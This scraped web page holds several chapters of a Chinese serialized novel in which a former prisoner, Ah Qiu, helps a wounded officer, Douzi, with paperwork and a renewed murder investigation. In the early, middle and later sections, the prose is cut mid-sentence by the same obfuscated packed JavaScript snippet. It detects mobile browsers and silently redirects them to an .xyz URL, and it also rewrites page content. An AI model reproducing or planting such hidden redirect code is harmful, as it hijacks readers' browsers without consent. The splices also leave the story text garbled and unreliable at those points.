处在强压之下又羞于承认、于是在同类面前不慎暴露恶劣本性的两人以互不理睬作为中场休息,过了一会,还是由身心都更健康的露娜主动挑起话头:“这件事还有一个疑点,由于目击者少又没有确凿证据,我们没有列在审问清单上。” 其实不是这样的,她知道海伦姐的考量,一旦向袭击者公开问起这个,一只装满了未知毒气、不受任何阵营控制的盒子就会打开。露娜盯着豆子的侧脸,饶有兴致、一字一顿地说着,颇有绑架人质的意味:“目击证人A,你说他们为什么要攻击邱珊?” 豆子还是没有和她对视:“不是无差别攻击么?” “是吗?那他们怎么不攻击其他观众?” “因为其他观众没有乱动。” 料定终止式不会严格遵守情报加密等级条例,灵活遵守的受益者露娜哼笑一声,把暗示摆到台面上:“你是不是知道点什么?刚才叫住她,也是为了提前跟她对好口供?” 想起那块扑棱着飞走的老太披肩,豆子若有所思道:“对了,你以前在塔尔塔洛斯当过狱警吗?” “?” 露娜一怔,随即怒道,“没错,传说中的第五城邦就是我八岁时拿粘土建的。” ———— ———— 等那个男人的身影消失在车站,阿邱也顾不得那么多了,冲上去就大喊大叫起来:“阿蒂提,你不能——” “嘭!” ……然后被飞来的一只皮球砸倒在地。 “住手,妮莎!” 还得难为阿蒂提一个拄着拐的伤患从杂志和文件的废墟中把阿邱挖出来。 “你不能相信他!”阿邱捂着额头急切地说,“无论他许给你什么好处都不能!” 阿蒂提很错愕:“霍恩先生?他是来给我送捐款的呀。” “捐——捐款?谁知道又是什么敛财手段!” “邱小姐,我知道你是在担心我,可你真的错怪加百列老师了。”因为“同病相怜”,阿蒂提对她态度很好,还笑着给她拍拍灰,“知道我住院,他亲自去我住的那条街道办了义诊,筹到的款项不仅帮我升了病房,还解决了我的燃眉之急——就是说串珠的工作我可以不用做了,剩下那笔钱也足够我出院后慢慢找工作,还能让妮莎顿顿都吃上肉蛋奶。” 扪心自问,同样是救世主赛道上的,阿邱可没有这样的号召力,可加百列是真的有个“号”啊。 “这、这样吗,我才不信这种人不要你的回报——” “非但不要回报,霍恩先生说了,要是我感兴趣,出院后还可以去加百列老师的工作室实习,实习期工资照发……对了邱小姐,你也是天灾受害者家属,我听说加百列老师一直在给我们这样的人提供岗位,上回你说想考调律师资格证,要不要跟我一起过去试试?没准将来咱俩还能继承他的衣钵呢,哈哈。” 还用说什么呢?阿邱有一头刚截断的头发和一笔欠款,加百列有一个王国五个城堡数不尽的侍卫,差距是客观存在的、触手可及的、发令枪一响别人骑着长翅膀的马飞走而阿邱身中数弹倒在了出发点的。 妮莎跑过来看阿邱,指着她大笑:“好大一个包!好大一个包!” 什么包?草包? 阿蒂提骂了她几句,按着她要来道歉,阿邱摆摆手,自惭形秽地收好满地文件,不敢再看她们一眼,丢下句“但未成年少女还是要对位高权重的男性保持警惕”就落荒而逃了。 坐在返程车上,阿邱陷入恐怖的、只有她一个人可以参与的思考中。虽然她撇下了身后的伤患们,离医院越来越远,但在某种层面上,或许她才是那个病得最重的人? 真希望这是一场临终幻觉啊。 ———— — ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16132074|179075||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ——— 除了冰敷袋,牧笛从昨晚念叨到现在的“礼物”也递到阿邱手上,原来是一瓶气泡红酒。 “小可怜,被那场袭击吓得不爱说话了都,这个你拿着,人家亲自酿的,每晚热一点点喝比较好睡哦。” 只是为了睡眠质量的话,阿邱需要的是菜刀,斧头也算锦上添花,两者都能带出去更是雪中送炭。 “谢谢你……”对于消耗品,她最关心的是:“这个市价多少钱?” 豆记当铺的欠款是一个地基,把节衣缩食的生活构建在那之上,阿邱如被害妄想般把送礼和职场霸凌联系在一起。 所以当牧笛终于问起那场表演本身时,她忍不住恶语相向:“我再也不看这种东西了,好老的演员好歹毒的表演方式,牧笛大姐你跟我审美有差异,我觉得很那个的那个还是适合长在帅哥身上……而且我想通了,欲望——欲望是不能表演的!表演出来的都太假,而且排在爱前面的欲望根本色不起来,只会让人觉得恶心!” 牧笛深觉自己的事业被羞辱了,气咻咻地驳回:“那都是你们恋爱新手的偏见!算了,我不跟小朋友生气,你再多看几场表演就能领悟到当今最流行的爱欲观了,谨慎武装你的大脑吧少女!刚好人家这边还有几张票,这回不是热情岛屿风味的,而是最近很火的一个露天短剧目,老少咸宜、托大赛的福第一次巡演到这里——票你拿着,《鹳的报恩》!” “这又是什么鸟故事……床下谈恋爱床上生三胞胎?鹳负责把孩子叼来?” “那只是其中一环!你讨厌真刀真枪火辣辣的表演,这个故事保准你喜欢,含蓄但缠绵悱恻,讲的是一个和你一样的天真少女爱上了救命恩人的故事……” “那救命恩人也爱上少女了吗?” “……当然爱上了!不是你的关注点能不能有一次是不跑偏的?” “理由呢?被救的少女处于道德下风,爱又是她成本最低的报恩,那救命恩人又凭什么爱上他救下来的人?理由呢?” “我哪儿知道,爱啊欲啊的从来都是这么没道理——哎呀你管那么多呢,故事不都是这样写的么!” “写故事也得讲逻辑啊,我在想有没有一种可能,救命恩人伸出援手的目的就是让少女爱上他?男人不计较成本是不可能的,他或许也想用最低成本夺走少女的财产和血肉,用它们实现自己的目标……没准把少女置于险境的那场灾难就是他亲手缔造的!” “——已经变成侦探故事了是吧!影说的白骑士就是这种情况……那么影和小苏西到底去哪儿了呢?人家也不知道啊,咦上面咖啡馆居然有人打牌,真难得,我出去打听,你留下看家!” 根据报恩的逻辑,坏救世主想把信众从好救世主手上拉回来,就要剑走偏锋、暗中破坏信众的生活再出手拯救——依据刚才的情绪,阿邱的心思如此被揣摩着。 再看黑旋风留下的两张票,她的心思大致是这样的:还要再去一次?也就是说还有第三波袭击吗?终止式,你们好累啊—— 当然,森林戍卫队也累。 …… 不得了了。 阿邱双手搭桥撑在桌上,鼻梁在桥上沁出冷汗。比起守护女神的长官,她最先想起的竟是名不正言不顺的终止式,怎么会这样!被排位家发通缉令逮捕事小,差点就打从心底把他们当成正义的伙伴了!讲逻辑么,阿邱既无财产亦无血肉,如果终止式真是正义的伙伴,就连正义的伙伴都不愿意跟她做朋友,那她…… 也输得太惨了吧。 60. 第五十章 灰色小丑 …… 输什么输,不许输,被选中的救世主永不认输! 阿邱一个鲤鱼打挺坐起身。夜里又下起雨来,阵仗挺大,她就在水帘下面自燃。 离开母体的衬托,文件小冰山也显得高耸起来,通过闪电的白光在向她眨眼。阿邱毕毕剥剥地下了床,哗啦一声打开文件夹,干劲却持续不了一分钟——按照教师会议的惯例,第一张纸映入眼帘时她就走神了。 一周期限的作用相当于讲台上的校长、督学,形成一道看不见的压力墙,迫使阿邱在走神中手也不能停。她拿出情商修炼手册,翻到平面鸫的衣柜、迷你平面鸫——世界并没有变好,于是快速略过——在封底的一页白纸上认认真真画起了冥蝶公主。 上回说到,经历了一场与魔族的较量,冥蝶公主的五个男友死的死伤的伤,她对此不可能没有反应,故推翻“快乐的日子可以继续下去啦”的结局:可逆的悲剧还不如一开始就写成喜剧,在银河与阿邱一起落泪的夜晚,它应该不可逆地导向黑化的第一阶段。 阿邱是很听话的,明里暗里都不会接触全民唾弃的专业级美术,故脱离参考就失去了画人的能力,所以冥蝶公主长就得跟你小时候画在墙上的丁老头一模一样。阿邱用最浅的线条画完脸,心虚地认为重点应该放在服装设计上,服装可是很重要的,舞台剧的主人公都穿订制戏服、一戏一换,群演往往要八人共用一双臭鞋。那么人群中的焦点、永远不可能是群演的安妮塔第一次黑化时应该穿什么呢? 当然是连裙撑都有三层的桑葚色蕾丝大裙子了!正好配合安妮塔越来越黑、越来越大的翅膀。脖子的部分用火焰形状攀升到下巴,嘶,那她会不会勒得慌?不妥不妥,在虚构世界就别给角色戴项圈了,阿邱叉掉火焰,改为吊带。 不过吊带嘛,凉快是凉快了,随着人体活动,也会在肩上勒出红印子来,冥蝶公主可是阿邱从小到大嫡嫡亲的oc,她就是手上长个倒刺阿邱也要难过得睡不着,那就别管好不好看了,大刀阔斧地改成棉布圆领吧! 可那样就跟大裙撑不搭了……难不成下半身改成紧身裤?不行,小码风最流行的时候,阿邱跟风穿过特别紧的紧身裤,扣子一系就感觉半边身子被绑架了,那玩意儿比一步裙还限制步幅,应该取名半步裤;虽说冥蝶公主发射技能主要靠挥舞魔杖,她好歹也是个上过武术学校的,体术这块怎能被一条裤子限制在半步以内? 所以改成舒适又方便活动的普通裤子……加上棉布圆领,简直就是出门倒垃圾的穿搭,黑化在哪里?气势又在哪里?到底是哪个环节开始出错的?美观和舒适为什么就不能统一起来呢? 设计工作走进死胡同,阿邱颓唐地合上所有人的衣柜,也结束了走神,垂头丧气地把自己拉回到现实中。 再次打开按编号分类好的文件夹,看清第一张表格的标题,阿邱倒吸一口冷气:这是可以交给她做的吗? “洱鸾225年第一季度·三月中旬·威丝塔芬方面C类来信登记表”。 也就是说,附在后页文件袋中的那堆信函全都是要登记到这张表上的了…… 目光扫过那一连串的栏目:“发件人”、“发信地址”、“信件内容简述”、“随信附件”、“是否回信及理由”、“分类质询及理由”……阿邱头都大了。这就是豆子警官每天的工作吗?怪不得他情绪不稳定还注意力分散呢,这活谁干谁不暴躁? 换个角度想,要是阿邱能心平气和地处理完这些,她就在这场比赛中战胜了豆子警官!这么想着,她鼓足干劲,把矿油灯拧到最亮,握紧了笔,两眼瞪着表格,仿佛要透过纸张把每一颗油墨粒子分析清楚。 仔细看过去,她“哎?”了一声,这才发现每一栏的附近都画了长长短短的箭头,分别指向几段细铅笔写成的小字,字体像豆荚一样规整、又像豆苗一样舒展,大概是豆子警官发布的书面指令吧。 可细读之下她又发现,与其说是冰冷的指令,那些小字倒不如说是详细版操作指南。 比如“发件人”一栏,豆子提示道:“多人落款只写第一人;名字太长用简写;罕见姓氏只写姓氏;只有单位名可空置。” 又如“地址”一栏,豆子像预判了阿邱的困惑似的,指点她“最低写到郡,前地址后邮编,落款是单位名就写单位名”。 最复杂的“信件内容简述”却只有一条四两拨千斤的宗旨:“5W1H,重点看诉求。” 得到他的隔空教导,阿邱心里有了底,小心地拆开一封信,却看到信上也有同一支细铅笔的勾画。 “这人套话多。”信纸已被发件人龙飞凤舞的字体填满了,豆子警官却还能找到一个狭窄的空白处,不客气地塞进去一句评价:“重点一般在最后一段。” 阿邱心念一动,放下笔,把所有信件都拆开来看,结果证实了她的猜测:每封信上都留有豆子的勾画和标注,要么在教她如何快速总结拥有某某习惯的发件人的信件内容,要么在注解她有可能看不懂的专业名词,有的甚至把铅笔字密密麻麻写到了信纸背面,超过了信件本身的字数。 阿邱心中顿时五味杂陈。有这个手把手教导新人的时间,豆子自己动手都做完两遍了吧?尝试分析动机,没有别的理由,还不都是粉丝经济的遗祸!给偶像打工的社会新人都像豆子这般热爱工作,往往把自己累住院了也在所不惜——总之她先鬼鬼祟祟地把自己从因果中摘出来再说。 不再流泪的眼睛瞥向一旁的信封,那上面也被粗铅笔标注过,还是熟悉的豆子体:“详见文件夹2。” 这封信的发信单位是“威丝塔芬大洋服装厂”,信件内容是催促克洛诺斯早点把大赛期间终止式的服装样式确定下来。阿邱一皱眉:什么意思,人家选手参加比赛,他们凭什么还有新衣服穿?是为了跟森林戍卫队抢风头吗?怎么,他们要出道啊? 细铅笔再次预判了她的想法,在侧边标注:“队长这么做是为了在赛时给公民留下更深刻的印象,好让公民遇事优先依赖终止式,而非神殿戍卫队。” 阿邱差点把信丢出窗外:这也是可以直接告诉她的吗?豆子就不怕她居心叵测地裁下这段文字寄给迦南小队长、把它变成名誉官司的决定性证据,最后导致终止式在讥讽声中走向解散? 防人之心不可无啊!觉得自己在这方面总算赢一次,阿邱得意洋洋地根据指示打开文件夹2。里面飘出薄薄一张纸,是用油笔画成的“阿瑞斯杯赛程服 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16136962|179075||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 装意见收集表”,方框旁边还是同字体的细铅笔字,口气生硬、操作方法却依旧具体:“你也来提三条意见,每个字5mm,不要超过框线,我汇总之后报上去。” 问她的意见?颜色方面阿邱帮不上忙,但她一直很喜欢那个麦穗滚边,于是强烈建议保留下来;如果要强调变化,增加一圈浆果枝叶会更有华丽感…… 写着写着,她灵光一闪:对哦,不是还可以让冥蝶公主穿着军官制服黑化嘛! …… 如此在走神中按图索骥,很快完成了半个冰山的工作量,阿邱甩甩手,抬头看窗外,从玻璃的反光上看到自己的脸,忽然发觉,她为新工作而忐忑的心情不知何时已烟消云散了。 更重要的是,残留着感觉的指尖碰到以纸张形式出现的“工作”、对外部世界恢复了实感,她飘飘荡荡的灵魂也回到躯壳里老实待着了。 还是多亏了豆子警官,把工作难度降低到只要读过文法学院就能胜任的程度,让阿邱在整个过程中都没有自己很差劲的感觉。 就连休息时的大脑也在自发除锈。想到帕特尔姐妹,她失去了胜负欲,全凭理性制定了新策略——除了破坏潜在信众的生活再施以援手,她还有别的路可走!给不了加百列那样真金白银的帮助,她还可以为了她们的人身安全时常上门探望,等真的发生了不测,要钱没有,要命一条,再来一次袭击,她就飞出去给她们挡剑…… 还是盼着点好吧。与其期待悲情英雄场景,不如想想该怎么多赚点钱,钱就是话语权,加百列反复验证过这点,那么阿邱也要这么做;不是为了赢过他,也不是为了否定他再取而代之——当然不是了,会来夜之窟办巡诊的大好人呢,跟他这个大joker一比,阿邱像是牌局一开始就把底牌翻给对手看的灰色小丑。 她倒在床上,难得想起了一次童貉。戴眼镜=聪明这个等式就是从他身上学到的,为了取代他的位置,阿邱即便不近视也要效仿之。 旧的救世主已然倒下,她重新上路,又发现不论走到哪里都会遇到一样的事…… 活着就是这么没劲啦! 对面床位的女囚说。 “小孩子不懂,其实出去了也一样。” “对,出去了说不定还更差。” “在这里起码还有口饭吃呢。” 黑暗中,不同床位的女囚此起彼伏地说着。 阿邱很想反驳:不对不对,外面有西瓜吃!还有热情的表演、女性向的文章、耐心的前辈…… 是了,在塔尔塔洛斯的时候,晚上睡不着觉,那些姐姐姨姨就是这样跟她瞎聊天的。有时说得忘情,引来了狱警,凶神恶煞的老东西们会大力拍着铁门,嘴里辱骂: “又欠收拾了吗,臭bia——” 砰砰砰。 “有没有人?” 砰砰砰! “邱小姐,你在家吗?” 砰砰砰!砰砰砰! 就这个声音最可怕了!熹微的晨光刺穿噩梦,阿邱没有菜刀、没有斧头,怀里只剩一本情商修炼手册;明知敲门声是发生在现实中的,她也只能掀被子蒙住头、蜷成一团瑟瑟发抖,假装自己不存在,“没有人会来逮捕我的”。 61. 第五十一章 触角(1) 卷帘门很薄,和终止式的薄铁门不同的是震动空间还很富余,敲起来恍若枪响,给阿邱的感觉就像楼下有个快枪手正在执行死刑,这场大案由几十名凶手伙同完成,他们的心脏都是铁皮做的,而行刑官预约的割阑尾手术一分钟后就要开始了。 她寄希望于行刑官早点意识到家里没人在,或者早点面对没人愿意给他开门的事实、善解人意地当作家里没人在——很合理啊,正常人为了节省时间都会这么干,然后去下一家抄水表,周围所有被敲门声吓哭的人都会充满感激地忘掉他的尴尬时刻,尤其是假装不在家的那位。 对于人,造物主的怠慢在于仅让他们摆脱互碰触角交流的方式,心灵却仍然无法直接连通,日常还得靠声音这种可怕的介质来传递信息。如若不然,来者安静地问有人在吗,阿邱安静地让他相信没人在,再说一遍,没人在!淡猫俱乐部胆敢开门做生意,唯一的原因就是没有窝藏逃犯和欠债不还的老赖——逻辑都这么通畅了,还敲还敲还敲! 对了,这里是淡猫俱乐部来着,阿邱忽然想起还有一座巍峨的牧笛住在一楼。倒是去应一下门啊老板! 一楼和老板都没有起到作用,枪决还在继续。这是因为牧笛熄灯晚,又习惯用烈酒助眠,今天早上也没有谁期待一口猫头围裙肉酱面,二楼有人、他才是老板,他的触角还安安生生地收在壳里。 砰砰砰。行刑官还在锲而不舍地敲门,阿邱被时间麻木了恐惧,同时开始渴求新鲜空气。没有哪个救世主是窝窝囊囊憋死在被子里的,就算她注定要这么死,也不能死在20岁的初春早上——怎么做到每个元素都跟“壮烈”毫不相干的!砰,砰,砰。敲门声换了一种节奏,换个思路想,她花了十二年好不容易从原点出发,别说变成纯粹的人类了,“第一步”都没完成,一个月前那个努力打工的自己要是知道了结局,投海之前一定会留下一句遗言:“早知她不开门,我就不出门了!” 娜塔莎站在悬崖边看着她掉下去,声音越来越远:“你不犯事就不会……” 万事不求人的底层逻辑是求人不如求己。 阿邱硬着头皮钻出来,猛吸一口空气,这是为了活下去;看一眼床头,猛吸一口放在那里的气泡红酒,这是为了壮胆。 送给不合法新手的礼物没有度数,阿邱神志清醒地下楼,又去厨房揣了把水果刀,迈出高低肩火烈鸟涉冰水的步子,逐渐接近了喧哗的卷帘门。 最后一道保护弹簧松开,“哗啦”一声,金属大幕拉开—— 可是外面没有人在! “铛啷啷”,阿邱的下巴和水果刀一起掉在地上。她死活都想不到,最大的可能性竟是闹鬼! 传说世界上有一种使镰刀的割头鬼,常在雾雨天气徘徊到独居者门外,发出各种声响引诱他开门,开门又不见人影,等受害人疑惑地伸头出去,“咔嚓”一刀,人首分离。 在拔腿就跑和当场晕倒之间,阿邱选择喊牧笛出来目击她的掉头现场。把最后一口气吸入丹田时,她的脚踝被鬼指狠戳了一下! “噫啊啊啊啊啊——哎?” 最后一口气是这么送出来的。低头一看,不是吧,豆子警官? “是我。” 坐在门口台阶上的豆子欲言又止地看了那把水果刀一眼,扶着墙起身。 阿邱还没从震惊中回过神来:“你怎么来了?不对,你是怎么来的?你能下床了?还是一个人来的?” 不过,正如讨到了说法她就马上不生气了,确认了是活人有理有据地找上门来——且没有带着逮捕令,她恢复理智的速度更是快得惊人:“早说嘛,吓我一跳!对了你飞笺器呢?有事打给我,我去医院找你啊!” 豆子没有回答飞笺器的问题,只是告诉她:“我出院了。” “什么?你这才休养几天,伤口的线都还没拆吧,谁准你出院的? 而且阿邱还没来得及动手他就自己把自己救出来了,就是说,很挫败! “能走路就够用了。” 哪个没人性的胆敢“用”一个伤员?再说他哪里像是能走路的样子啊,敲个门都恨不得耗尽了全身的力气,在“砰,砰,砰”的时候恐怕已经站不住了吧。 豆子舔舔上嘴皮,想了几秒才解释道:“你得相信游医队的手艺……还有你自己。” 阿邱看看他干涸的嘴皮,决定在押他回医院前先泡壶茶来,可是豆子没这个闲工夫,他的心情非常不好,肉眼可见地压抑着焦躁和怒火,原因是:“昨天队长接到临时通知,威丝塔芬点名让他和副队长护送安德烈·蜜丝缇的遗体返乡,凌晨一点他们就上船了。” 阿邱被这句话的信息量噎住了:“啊?这么着急的吗?” “我也很着急。”这倒是谁都看得出来,“所以我们要赶在森林戍卫队上班前——” “这也不是你出院的理由。我知道你们想抢风头,但也用不着……” “——去镇医院的太平间偷点东西。” “……把命赔进去啊对不对?” …… 阿邱摸摸自己的耳朵。没有被割下来,也没有变成两株仙人掌,所以听错的可能性为0。 “你刚才说什么?!” ———— ———— “嚯,真是份大礼啊,还招来了意想不到的新势力!我简直梦回赛前热身阶段,这就是劳碌命吗,走到哪里都不得安生!” 前夜,豆子病房。克洛诺斯大嚼着打包来的大餐,可这并不能缓解他心中的郁卒。 豆子平淡地提醒:“你说的那个新势力八成是两起事件的局外人。” “这我能不知道?我就是想把所有事都集中起来抱怨,也省你的事。” 真好意思说。 “还有你那个八成需要减一成,不管出于什么原因,塔尔塔洛斯的典狱长当天下午确实去过赤焰小酒馆,前脚刚走,后脚我们就去了,这还不能构成疑点吗?” 豆子顿住笔:“赤焰小酒馆?就是夜之窟管道会议室下面的那个小门?” “什么管道会议室?哦,你是说那个露天咖啡馆吧,对的,就是那儿。你没怎么去过那条街,地形倒清楚得很嘛。” 克洛诺斯咽下最后一口酥炸牛肋条,把剩下的沙拉递给豆子:“这个给你吃,伤员就该多多补充营养,嗝儿。” “你什么时候走?” “几个意思,这就轰我走啦?” “我在问运送遗体的事。” “等通知吧。”克洛诺斯叹着气往椅背上一靠——这个椅背今天承载了太多颓唐的人,“我跟马尔科姆这一走,终止式就要拜托你跟阿邱两个小鬼看家了!” 豆子不敢设想那种未来:“不会的,密涅瓦祭司听说很关注人道主义,起码要等到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16142060|179075||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我出院才会发通知,到时我跟你一起上路,副队长留守。” 克洛诺斯从不关注他不感兴趣的事,像是没听到豆子的话,板起脸来告诫他:“你作为前辈一定要打起十二分的精神,切不可疏忽大意,要知道,春季可是自杀案的高发期!” 进入夏天就好了是吧,OK。 “对了,还有劳伦斯小姐——”克洛诺斯露出坏笑:“爱情香蕉小剧场里的事我已经听说了呦,在场观众都很感动,王子殿下,你不打算给大家伙一个解释吗?” “你脑子里能不能装点正经事?” “那是不如你的脑子正经。说真的,我们豆子都十九岁整了,也可以谈谈恋爱、跟女生接触一下啦。” “不要,太麻烦了。”豆子顿了顿,用力合上文件夹,恶声恶气道:“不是说女人麻烦,是你们这种人对男女关系的敏感让我觉得很麻烦!” “好——我们麻烦、我们麻烦,所以你都背着人谈。” 二人互丢了白眼,豆子下巴一抬,姿态高高在上:“恕我直言,你今年也三十五岁整了,早点面对现实吧:世界有多难被改变,人就有多难,不愿跟你一起做美梦的大有人在,不是能力不够,是不屑。” 就像有的人不会因为被另一人舍命相救而产生颠覆性的情绪,人与人之间的鸿沟是永不可逾越的,任谁都做不到真正理解一个与自己完全不同的人,在此前提下,强求就是一种屠杀。 克洛诺斯哪里像是听得进去的,刻意模仿他的样子一本正经道:“对哦,那还不如学习你一贯的宗旨,受欲望驱使做出些本能的选择。” “那又怎样?至少我问心无愧。” 克洛诺斯摇摇头,坚持倒反天罡:“够了,罗宾小队员,你还是太嫩了!” ———— ———— 豆子没有为劝服留出太多的精力,默认阿邱点了头,照直下命令:“赶紧换衣服跟我走。” “等一下啊,我还没搞懂发生了什么事呢!” 豆子吐出一口气,靠在墙上,瞪着她道:“反正不是为了抢风头,别想着怎么敲晕了我扛回医院。” 阿邱害怕地收回了想要搀扶他的手:“你怎么又知道?你真的不会读心术吗?” 迅速洗漱过回来,豆子往黑暗中的俱乐部看了一圈:“我是第一个到的?” 阿邱又是头皮一紧:“不然还有谁?” “赶在我前头来逮你的人。” 阿邱毛骨悚然:“你不会还认识什么用镰刀的长条黑人吧!” “黑人吗?那我不认识。” 阿邱“哐”地拉上卷帘门,这一声饱含了对牧笛始终不在场的怨气,剩下的怨气则冲着豆子去了——在他还没拆线的伤口上打个滑,又飞到了九霄云外。 “现在可以告诉我了吧?” 为了向帮助自己恢复精神的这位伤员表达感谢,阿邱只得接受了被他强求的命运。只是她希望下次的报恩方式可以自选…… 豆子也不多废话,起身道:“即日起,我们正式重启双尸案的调查工作。” 阿邱眼睛一亮:“真的吗?太好了!计划是什么?” “队长说你有办法。” “我?我哪有办法……” “他让我给你带句话。”豆子微弓着背,双手插兜,转身带路:“塔桥·蜜丝缇还没有停止思考。” 62. 第五十一章 触角(2) 在洱鸾大陆,“停止思考了”是对死亡的一种委婉说法。 “你是说那个美少年……他还没死?” 阿邱顿觉有个幽灵爬到了她的脖子上,还在“呼——”、“呼——”地吹冷气,吹得她寒毛一根根地逆过来。 “他死了。”身边有颗微微炸开的蘑菇头逐渐凑近,豆子的鼻子自动抽了抽:怎么还有人刚起床就喝酒? “人死了还怎么思考……啊。” 阿邱恐怕是天底下唯一能回答这个问题的人了。如果克洛诺斯就是知道这个才让豆子带话的,现实会比鬼故事更可怕!幽灵遗憾地飞走了,卷起的一阵阴风又把每根毛发重新贴回皮肤上。 街上冷冷清清的,连西瓜小贩都没出摊,顺滑的蘑菇头又远离了豆子、回到他身后一步远的位置上,这样一来,就没人会注意到她的心惊了。 完了,一切都完了,是她太大意了,大意导致盲目乐观,盲目乐观使人间闹鬼——有别于庞大的戍卫队体系,私人警卫队怎么会没有自己的情报系统呢?克洛诺斯对她的了解,恐怕比镇长和迦南小队长还要深! …… 那不是更奇怪了吗? 人半脑敲敲她的头盖骨说:别慌,更有可能是人家调查了你在不冻港干的好事,身为一个接受过秘密特训的前阿瑞斯杯选手,自负地理解成了另一套逻辑,结果歪打正着,还真把你吓住啦? 肯定是这样的,否则他怎么会在知道阿邱以前是谁的前提下欢迎她加入终止式呢? “另一套逻辑”吗……也不是毫无根据。传说第二次神魔大战时出现了一个姓蒙特布朗的能人,掌握着为亡灵招魂的异端邪术,历史书上没记载此人结局,仅从效果上看,阿邱的“专长”——在整个十字城邦都找不到同类技能,叙述上暂时说成专长,没有引导观众朋友期待阿邱自绝于傲慢的意思(脱帽致歉)——框架跟招魂术也差不多,当然,品味要比它好得多:“招魂术”这个名字听着就很味儿!而她的专长呢,从施展方式到持续时间再到有效范围,哪儿哪儿都散发着险峻的厉害,比酷还要酷,要是放在纯粹的人类身上,甚至可以升华为“帅”!阿邱傲慢地这么认为……咳,总之是鲜有人知的秘密,克洛诺斯根据自己的知识体系解读成这样也很正常。 对,要是知道她以前的身份,这个为民除害的组织早就上来一人给她一脚了。阿邱越想越觉得上述推断就是真相,否则嫉恶如仇的豆子也不会如此细致地引导她熟悉新工作,简直就像对待一个没有案底、通过考试入职的后辈。现在回想起来,终止式对她的态度一直都是平平常常的,也许个别人在刚接触时保有对前服刑人员的忌惮,但那也是对普通二等公民的——顶多是在纺织机的轰鸣声中对“塔中魔女”的——不是对(((岳千秋)))的。(括号的作用是把那个讨厌的名字和让人恢复冷静的字句隔开!) 细铅笔的字迹从文件夹飞出来,化为一把细齿梳,经过一晚,仍能梳理阿邱不断生成的混乱思绪,让它们往一个积极的方向生长。就这样劝好了自己,心灵已变成打过发蜡的大背头的阿邱饱含感激地看向豆子的背影,今天他没戴手套……所以要插兜,一看就知道走得仓促,出院也是临时决定的吧!要是他爸妈知道孩子在外拼成这样,表面上可能还拎着鸡鸭鹅给领导送过礼,心里肯定早就恨透了克洛诺斯,一码归一码,杀驴刀还得接着磨,要是有机会见到手套厂厂长夫妇,阿邱一定会跟他们统一战线的。 雨虽停了,天气看着仍是比较冷,豆子警官却只穿着单衫,还挽起袖子露出半截结实的小臂,皱皱巴巴的制服外套则搭在肩上——不断往下溜,说明他步伐急促,但绝对说不上平稳。 这一身不光有很多口袋,还有褶皱组成的丰富缝隙,阿邱不禁开始担心一件事:要是豆子走着走着倒下了,吩咐阿邱从无穷的可能性中抽出一把折叠轮椅推着他走,世上又没人能从豆子的口袋里找到自己想要的东西…… 思前想后,阿邱跑上前,抽出他的右臂搭在自己肩上:“罗宾警官、罗宾警官,你慢点走,我来撑着你!” “撑得住吗?” “撑得住!” 豆子瞟她一眼。他是一点不讲客气,立即沉甸甸地压了过来。 金刚大力总算有了用武之地,感到被信赖,阿邱来劲了,抓着他的手腕僭越式地责备:“对哦,我们这不是还得坐车回医院吗?知道你着急,但你也太冲动了,欲速则不达知道不?下次有事还是用飞笺器叫我过去吧!” “不是冲动。你不了解飞笺器的原理。”豆子面团用他的臂弯稍微展示出一点对抗性。他是真觉得阿邱不了解,还在用贵重的口条作出较为小众的解释:“短码和人不是强绑定的,简单破译就能侵入,如果袭击者利用这点骗你来医院,你有几个脑袋给他割?” 被一个锐角夹住的阿邱摸摸项圈,蔫了:“还有这一说?那还真是蛮危险的……” 而且他们两个是要偷偷摸摸去干坏事……为了尽可能地避人耳目,果然还是豆子警官大清早的来接她最保险?好吧,阿邱开始觉得昨晚没有留宿在病房是她的错了。 她合理推测:“别的队员你也不信任?” 豆子知道她想说什么:“主要是使唤不动平级。” “也太现实了!”阿邱同情不已,“还好我是临时工,你还可以向我施压……” 人确实亲自上门使唤她了。 按下腹诽,阿邱还要为她很帅的技能打听一件事:“克洛诺斯队长怎么跟你提到我的?是口头上说说,还是留了凭据……?” “他在双尸案结案后提前为这种局面准备了计划,都写在信函上,拆开后24小时自动销毁。”叹气之余,豆子没有放弃他的怀疑精神:“不能留凭据吗?别人看到了会把你怎样?” 阿邱连忙移开目光:“我的意思是,这是终止式的秘密预案,当然不能被外人知道了!不过自动销毁?这么厉害的吗,闻所未闻——A类信函啊?” “是。你昨晚就开始干活了?”豆子偏头看看她的脸:“还熬夜了。” “嘿嘿,第一次接到正式的文书工作,我当然有干劲了。” 豆子总是很吝啬他的夸奖,他的人生动力可能就在于无限地挑毛病:“我说一周之后交,意思是再初级的工作你也不能马虎,不要给我赶工,每天在一个文件夹上最多分配两小时,听到没!” 